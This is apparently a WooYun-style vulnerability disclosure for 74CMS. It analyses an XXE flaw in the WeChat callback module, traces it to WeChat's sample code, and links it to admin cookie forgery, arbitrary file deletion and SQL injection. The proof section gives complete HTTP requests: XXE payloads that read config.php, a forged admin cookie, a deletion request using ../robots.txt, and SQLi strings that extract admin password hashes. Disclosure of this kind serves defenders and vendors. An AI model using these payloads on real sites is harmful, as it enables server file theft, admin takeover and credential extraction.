### 简要描述：
74CMS最新版绕过继续任意文件读取(通用性分析)到任意文件删除
### 详细说明：
0x000 简介
写这个漏洞的时候很纠结，不知道到底要提交给谁，74cms，cncert，腾讯？
最后还是交给74cms吧，因为74cms的厂商看了还是挺负责的，交给cncert又不知道能不能让厂商知道并修复，交给腾讯肯定又是忽略的节奏！
这里主要那74cms的漏洞和phpyun之前的漏洞分析，然后找出共同的问题点，然后找到来源，都是因为开发者的安全意识薄弱，还有腾讯的带头大哥榜样惹的祸，暂且这么说吧！
作为厂商只是那现成的来用，太依赖第三方的东西，完全没有自己考虑到问题的产生。
作为这个漏洞的来源腾讯，虽然提供了现成示例，示例中也有提到安全防御，但是只是一个提示，并没有真实的代码，由于带头大哥作用，用户很信任的直接拿来用了，然后问题产生了。。。
下面详细介绍。
0x001 任意文件读取漏洞
这里存在任意文件读取漏洞，应该是XXE漏洞，且同一文件存在多处
由于此漏洞又引起了SQL注入漏洞
74CMS最新版：74cms_v3.4.20140820 官方8.20号更新
之前雨牛提交过一次：
[WooYun: 74cms (20140709) 任意文件读取 & 注入漏洞](http://www.wooyun.org/bugs/wooyun-2014-068941)
这里直接就是没有检测checkSignature，只要signature参数设置了这个就直接进入函数responseMsg，然后漏洞就产生了
在最新版中，74cms在进入responseMsg前，添加了检测：
```
if(!$this->checkSignature())
{
exit();
}
```
但是这里的检测在默认情况下依然存在问题，可被绕过，看下面分析！
文件/plus/weixin.php：
```
public function responseMsg()
{
if(!$this->checkSignature())
{
exit();
}
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr))
{
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$keyword = iconv("utf-8","gb2312",$keyword);
$time = time();
$event = trim($postObj->Event);
if ($event === "subscribe")
{
$word= "回复j返回紧急招聘，回复n返回最新招聘！您可以尝试输入职位名称如“会计”，系统将会返回您要找的信息，我们努力打造最人性化的服务平台，谢谢关注。";
$text="<xml>
<ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
<FromUserName><![CDATA[".$toUsername."]]></FromUserName>
<CreateTime>".$time."</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[".$word."]]></Content>
</xml> ";
exit($text);
}
```
这里将$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
通过simplexml_load_string解析后的内容，直接带入了$postObj：
然而$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];就是直接获取的POST过来的XML内容，没有经过任何处理，且无视GPC。
整个过程就是传一个XML的内容进去，然后输出一个XML的内容，那么我们结果XML实体注入不就可以读取服务器上的内容，然后再输出出来么？！
实际证明是可行的，见漏洞证明！
在这之前还有一个条件：
```
private function checkSignature()
{
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if($tmpStr == $signature )
{
return true;
}
else
{
return false;
}
}
```
如果用户设置了wx_token就没办法了，但是这个wx_token默认是空的。
所以在默认条件下，没有wx_token时，这个$tmpStr == $signature==da39a3ee5e6b4b0d3255bfef95601890afd80709，这是一个固定的值了，我们是完全可以利用上面的漏洞读入任意文件。
0x002 后台任意登陆及任意文件删除漏洞
由于我们上面的任意文件读取，可以读到任意文件，所以配置文件中的$QS_pwdhash也是可以读取到的
我们来看看后台的管理权限验证：
文件：/admin/admin_baiduxml.php
```
define('IN_QISHI', true);
require_once(dirname(__FILE__).'/../data/config.php');
require_once(dirname(__FILE__).'/include/admin_common.inc.php');
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'xmllist';
$smarty->assign('act',$act);
$smarty->assign('pageheader',"百度开放平台");
......
```
开头引用了admin_common.inc.php，进入：
```
if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout')
{
if($_COOKIE['Qishi']['admin_id'] && $_COOKIE['Qishi']['admin_name'] && $_COOKIE['Qishi']['admin_pwd'])
{
if(check_cookie($_COOKIE['Qishi']['admin_name'],$_COOKIE['Qishi']['admin_pwd']))
{
update_admin_info($_COOKIE['Qishi']['admin_name'],false);
}
else
{
setcookie("Qishi[admin_id]", '', 1, $QS_cookiepath, $QS_cookiedomain);
setcookie("Qishi[admin_name]", '', 1, $QS_cookiepath, $QS_cookiedomain);
setcookie("Qishi[admin_pwd]", '', 1, $QS_cookiepath, $QS_cookiedomain);
exit('<script type="text/javascript">top.location="admin_login.php?act=login";</script>');
}
}
else
{
exit('<script type="text/javascript">top.location="admin_login.php?act=login";</script>');
}
}
```
这里进行验证，如果未登录，且访问后台页面时，会判断COOKIE
当COOKIE中的admin_id，admin_name，admin_pwd不为空时，调用check_cookie检测验证
```
function check_cookie($user_name, $pwd)
{
global $db,$QS_pwdhash;
$sql = "SELECT * FROM ".table('admin')." WHERE admin_name='".$user_name."' ";
$user = $db->getone($sql);
if(md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == $pwd)
{
return true;
}
return false;
}
```
这里通过admin_name查出管理员的pwd，pwd_hash
然后md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash)
当此md5值等于cookie中的pwd时，然后true
所以，这里的admin_name可控，QS_pwdhash通过读取可控
当admin_name不存在时，返回的pwd，pwd_hash为空
此时
md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == md5(''.''.''.$QS_pwdhash) == pwd
所以，当我们cookie中的pwd等于QS_pwdhash的md5即可通过，返回true
此时即可操作这里的admin_baiduxml.php页面的功能
回到此页面：
```
elseif($act == 'del')
{
$xmlset=get_cache('baiduxml');
$xmldir = '../'.$xmlset['xmldir'];
echo $xmldir;
$file_name=$_POST['file_name'];
if (empty($file_name))
{
adminmsg("请选择文档！",1);
}
if (!is_array($file_name)) $file_name=array($file_name);
foreach($file_name as $f )
{
echo $xmldir.$f;
@unlink($xmldir.$f);
}
adminmsg("删除成功！",2);
}
```
当act=del时：
POST的file_name没有经过处理直接进入unlink函数，导致任意文件删除！
0x003 SQL注入漏洞
再往下看：
```
if (!empty($keyword))
{
if($_CFG['sina_apiopen']=='0')
{
$word="网站微信接口已经关闭";
$text="<xml>
<ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
<FromUserName><![CDATA[".$toUsername."]]></FromUserName>
<CreateTime>".$time."</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[".$word."]]></Content>
</xml> ";
exit($text);
}
$limit=" LIMIT 6";
$orderbysql=" ORDER BY refreshtime DESC";
if($keyword=="n")
{
$jobstable=table('jobs_search_rtime');
}
else if($keyword=="j")
{
$jobstable=table('jobs_search_rtime');
$wheresql=" where `emergency`=1 ";
}
else
{
$jobstable=table('jobs_search_key');
$wheresql.=" where likekey LIKE '%{$keyword}%' ";
}
$word='';
$list = $id = array();
$idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit);
while($row = $this->fetch_array($idresult))
{
$id[]=$row['id'];
}
if (!empty($id))
{
$wheresql=" WHERE id IN (".implode(',',$id).") ";
$result = $this->query("SELECT * FROM ".table('jobs').$wheresql.$orderbysql);
```
当sina_apiopen没有开启时，这里同样是XXE漏洞
当sina_apiopen开始时，keyword = trim($postObj->Content);，即为输入的xml中的content标签的内容，进入下面的SQL执行，由于这里的数据时无视GPC的，随意直接到SQL注入，读取任意用户数据了
=================================================================================================
上面讲了下74cms的漏洞，下面重点分析一下这个同意的XXE漏洞
0x004 拟似通用的微信模块XXE漏洞
下面我们来说一下这里的拟似通用的任意文件读取XXE漏洞
这里都是在微信功能里面
而且都是同样的原因引起的：
先判断checkSignature，这里只有一个参数TOKEN不可知，但是默认都是空
所以此函数的判断基本上忽略
然后$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];获取内容，都是通过simplexml_load_string解析获取的xml内容，不经过处理直接进入xml内容里，然后输入了
同样的案例phpyun人才系统也用
[WooYun: PHPYUN最新版任意文件读取漏洞](http://www.wooyun.org/bugs/wooyun-2014-064637)
74cms人才系统也有
所以怀疑这里的微信功能是同一模块代码都拿来直接用的
事实就是这样：
微信接口开发者指南：
http://mp.weixin.qq.com/wiki/index.php?title=%E6%8E%A5%E5%85%A5%E6%8C%87%E5%8D%97
这里就是phpyun和74cms中微信模块的来源
而且这里给出来现成的PHP示例代码：
http://mp.weixin.qq.com/mpres/htmledition/res/wx_sample.20140819.zip
来看看这里的示例代码：
```
<?php
/**
* wechat php test
*/
//define your token
define("TOKEN", "weixin");
$wechatObj = new wechatCallbackapiTest();
$wechatObj->valid();
class wechatCallbackapiTest
{
public function valid()
{
$echoStr = $_GET["echostr"];
//valid signature , option
if($this->checkSignature()){
echo $echoStr;
exit;
}
}
public function responseMsg()
{
//get post data, May be due to the different environments
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
//extract post data
if (!empty($postStr)){
/* libxml_disable_entity_loader is to prevent XML eXternal Entity Injection,
the best way is to check the validity of xml by yourself */
libxml_disable_entity_loader(true);
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$time = time();
$textTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
<Content><![CDATA[%s]]></Content>
<FuncFlag>0</FuncFlag>
</xml>";
if(!empty( $keyword ))
{
$msgType = "text";
$contentStr = "Welcome to wechat world!";
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
echo $resultStr;
}else{
echo "Input something...";
}
}else {
echo "";
exit;
}
}
private function checkSignature()
{
// you must define TOKEN by yourself
if (!defined("TOKEN")) {
throw new Exception('TOKEN is not defined!');
}
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
// use SORT_STRING rule
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if( $tmpStr == $signature ){
return true;
}else{
return false;
}
}
}
?>
```
可以看到跟74cms的中的微信代码是一样的，phpyun也同样
唯一不同的地方就是，在示例代码里面有一个libxml_disable_entity_loader函数，这个函是用来prevent XML eXternal Entity Injection的，但是这只是示例中的一个提示，并不真正的存在此函数，需要的话得用户自己定义。
剩下的地方都是一样的，通过跟74cms和phpyun的开发人员沟通，都是直接那这里的示例代码稍加修改即利用的，而且都没有自定义这个libxml_disable_entity_loader函数，所以很明显是有问题的！！！
通过上面的分析和证明，这里74cms的任意文件读取漏洞跟phpyun的那个是一样的，同样的问题引起的，所以说是通用的漏洞毫不为过。
这，就是漏洞的来源！！！
### 漏洞证明：
任意文件读取漏洞证明：
注意这里的Content-Type
Content-Type: text/xml
```
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 275
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///F:/wwwroot/Apache2/htdocs/74cms/robots.txt">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>2222</Content>
<Event>subscribe</Event>
</xml>
```
[<img src="https://images.seebug.org/upload/201409/0411491265aa5eb65ad6f63ff43afe8fa2ee938c.png" alt="222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/0411491265aa5eb65ad6f63ff43afe8fa2ee938c.png)
这里读入了txt文件，但是如果要读取php文件内容的话，这样是不行的
因为php源码里面有尖括号会破坏xml的格式，这样是读不出来PHP源码的
但是我们可以这样：
```
php://filter/read=convert.base64-encode/resource=../data/config.php
```
这样打出来的php内容是base64编码，我们在解码即可得到php源码内容了：
```
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 292
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=../data/config.php">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>2222</Content>
<Event>subscribe</Event>
</xml>
```
[<img src="https://images.seebug.org/upload/201409/04114927d7e5804b2f58cfa76dd80ab54e5aeba7.png" alt="333.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04114927d7e5804b2f58cfa76dd80ab54e5aeba7.png)
[<img src="https://images.seebug.org/upload/201409/04114934107a50d2206d07a2346a459b2357cd1f.png" alt="444.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04114934107a50d2206d07a2346a459b2357cd1f.png)
后台任意文件删除：
通过上面读出QS_pwdhash的值
$QS_pwdhash = "~MmgQ0y~-3gw9cHq";
然后md5（~MmgQ0y~-3gw9cHq）= 64d3043b108382ce9be576eeac8de47f
然后添加COOKIE：admin_name要不存在的name，admin_id，admin_pwd等于MD5值
```
POST /74cms/admin/admin_baiduxml.php?act=del HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: Qishi[admin_name]=adminname; Qishi[admin_pwd]=64d3043b108382ce9be576eeac8de47f; Qishi[admin_id]=1; PHPSESSID=aa12bf3aced95b1f56a0b9313037ea17
X-Forwarded-For: 127.0.0.1',`email`=(if(mid(user(),1,1)=char(114),sleep(3),0))#
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
file_name=../robots.txt
```
看看结果，成功删除：
[<img src="https://images.seebug.org/upload/201409/04150241b824f9b7e980cf436bc49fc4d20fd2cc.png" alt="555.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04150241b824f9b7e980cf436bc49fc4d20fd2cc.png)
robots.txt已被删除：
[<img src="https://images.seebug.org/upload/201409/041502592b8a042963e83d738e3591fb0e98df1c.png" alt="666.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/041502592b8a042963e83d738e3591fb0e98df1c.png)
SQL注入漏洞：
```
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 341
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///F:/wwwroot/Apache2/htdocs/74cms/robots.txt">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>2222' union select concat(admin_name,0x23,pwd,0x23,pwd_hash) from qs_admin#</Content>
<Event>3333</Event>
</xml>
```
[<img src="https://images.seebug.org/upload/201409/04114950c154ae9f5f6acb3cdc39a9bd5fa3a112.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04114950c154ae9f5f6acb3cdc39a9bd5fa3a112.png)
京公网安备 11010502034610号
暂无评论